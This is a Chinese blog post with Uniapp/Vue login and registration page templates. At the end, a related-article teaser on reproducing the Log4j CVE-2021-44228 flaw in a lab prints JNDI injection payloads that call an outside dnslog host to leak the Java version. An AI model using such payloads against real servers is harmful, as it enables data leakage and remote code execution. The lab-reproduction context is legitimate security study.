Uniapp好看登录注册页面

embedded/2024/9/24 10:55:41/

个人介绍

hello hello~ ,这里是 code袁~💖💖 ,欢迎大家点赞🥳🥳关注💥💥收藏🌹🌹🌹
在这里插入图片描述
🦁作者简介:一名喜欢分享和记录学习的在校大学生
💥个人主页:code袁
💥 个人QQ:2647996100
🐯 个人wechat:code8896

专栏导航

code袁系列专栏导航
1.毕业设计与课程设计:本专栏分享一些毕业设计的源码以及项目成果。🥰🥰🥰
2.微信小程序开发:本专栏从基础到入门的一系开发流程,并且分享了自己在开发中遇到的一系列问题。🤹🤹🤹
3.vue开发系列全程线路:本专栏分享自己的vue的学习历程。

非常期待和您一起在这个小小的互联网世界里共同探索、学习和成长。💝💝💝 ✨✨ 欢迎订阅本专栏 ✨✨ 

在这里插入图片描述

在这里插入图片描述

1. 效果

在这里插入图片描述 在这里插入图片描述

2.登录代码
<template><view><view class="login"><view class="login_title">欢迎登录</view><el-form ref="form" :model="form" ><el-form-item ><el-input  v-model="form.name" placeholder="请输入账号" clearable ><i slot="prefix" class="el-input__icon el-icon-user"></i></el-input></el-form-item><el-form-item><el-input type="password" v-model="form.password" placeholder="请输入密码" show-password ><i slot="prefix" class="el-input__icon el-icon-lock"></i></el-input></el-form-item></el-form><view class="button">登录</view><view class="register" @click="register">注册</view></view></view>
</template><script>export default {data() {return {form:{name:'',password:''}}},methods: {register(){uni.navigateTo({url:'./register'})}}}
</script><style lang="less">.login{width: 94%;margin: 50rpx auto;background-color: white;height: 700rpx;border: 15rpx;.login_title{padding: 70rpx;font-size: 42rpx;}.el-form-item {width: 80%;margin: 30rpx auto;}.button{width: 80%;margin: 20rpx auto;height: 80rpx;background-color: #ffd100;text-align: center;line-height: 80rpx;border-radius: 10rpx;margin-top: 70rpx;}.register{display: flex;justify-content: flex-end;margin-right: 50rpx;margin-top: 50rpx;color: blue;}}
</style>
3.注册代码
<template><view><view class="login"><view class="login_title">欢迎注册</view><el-form ref="form" :model="form" ><el-form-item ><el-input  v-model="form.name" placeholder="请输入账号" clearable><i slot="prefix" class="el-input__icon el-icon-user"></i></el-input></el-form-item><el-form-item><el-input type="password"  v-model="form.password" placeholder="请输入密码" show-password><i slot="prefix" class="el-input__icon el-icon-lock"></i></el-input></el-form-item><el-form-item><el-input type="password"  v-model="form.password1" placeholder="再次输入密码" show-password><i slot="prefix" class="el-input__icon el-icon-lock"></i></el-input></el-form-item></el-form><view class="button">注册</view></view></view>
</template><script>export default {data() {return {form:{name:'',password:'',password1:''}}},methods: {}}
</script><style lang="less">.login{width: 94%;margin: 50rpx auto;background-color: white;height: 750rpx;border: 15rpx;.login_title{padding: 70rpx;font-size: 42rpx;}.el-form-item {width: 80%;margin: 30rpx auto;}.button{width: 80%;margin: 20rpx auto;height: 80rpx;background-color: #ffd100;text-align: center;line-height: 80rpx;border-radius: 10rpx;margin-top: 70rpx;}}
</style>

🎉写在最后

🍻伙伴们,如果你已经看到了这里,觉得这篇文章有帮助到你的话不妨点赞👍或 Star ✨支持一下哦!手动码字,如有错误,欢迎在评论区指正💬~

你的支持就是我更新的最大动力💪~
在这里插入图片描述


http://www.ppmy.cn/embedded/29593.html

相关文章

基于 Wireshark 分析 IP 协议

一、IP 协议 IP&#xff08;Internet Protocol&#xff09;协议是一种网络层协议&#xff0c;它用于在计算机网络中实现数据包的传输和路由。 IP协议的主要功能有&#xff1a; 1. 数据报格式&#xff1a;IP协议将待传输的数据分割成一个个数据包&#xff0c;每个数据包包含有…

程序设计基础--C语言【五】

数组 目录 数组 5.1.一维数组 5.1.1.一维数组的引用 5.1.2.一维数组的初始化 5.1.3.一维数组的程序举例 5.2.二维数组 5.2.1.二维数组的定义 5.2.2.二维数组的引用 5.2.3.二维数组的初始化 5.2.4.举例 5.3.字符数组与字符串 5.3.1.字符组的初始化 5.3.2.字符数组…

flutter-解决AppBar背景色为白色带滚动时不生效的bug

作为初学flutter的小白来说&#xff0c;今天在模仿小米商城app的首页appbar的时候&#xff0c;遇到一个奇怪的问题&#xff0c;就是修改AppBar的backgroundColor,在首页上拉滚动时&#xff0c;设置的白色背景色不生效&#xff0c;背景色变成不是淡灰色&#xff0c;其他深色不影…

MySQL第一次作业

解压完安装包 以管理员进入命令行 初始化并记住初始随机密码 创建服务名称 启动mysql 使用随机密码登录 修改密码 退出并重登服务器 MySQL创建数据库和表 创建数据库 创建表 1.进入数据库 创建表 向表中插入数据

ue引擎游戏开发笔记(26)——处理角色死亡敌人仍攻击bug

1.需求分析 对游戏中存在的各种小问题做细节处理&#xff0c;例如玩家在死亡后&#xff0c;敌人仍对着目标开炮&#xff0c;并且仍然触发爆炸效果。 2.操作实现 1.首先分析问题起因&#xff0c;是由于虽然玩家控制的小车被摧毁了&#xff0c;但控制器仍然存在&#xff0c;没有…

掌握技巧:Linux下通过命令查看系统时间

在Linux系统中&#xff0c;系统时间是至关重要的。程序员经常需要查看系统时间来进行调试、日志记录以及任务调度等操作。 虽然大多数Linux发行版都提供了图形化界面来查看系统时间&#xff0c;但是使用命令行来获取系统时间更加高效和便捷。 本文将介绍几种在Linux下通过命令…

Python面试十问

一、深浅拷贝的区别&#xff1f; 浅拷⻉&#xff1a; 拷⻉的是对象的引⽤&#xff0c;如果原对象改变&#xff0c;相应的拷⻉对象也会发⽣改变。 深拷⻉&#xff1a; 拷⻉对象中的每个元素&#xff0c;拷⻉对象和原有对象不在有关系&#xff0c;两个是独⽴的对象。 浅拷⻉(c…

VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了&#xff0c;环境搭建不讲&#xff0c;网上其他文章很好。 访问该环境&#xff1a; POC 构造&#xff08;任选其一&#xff09;&#xff1a; ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}我是…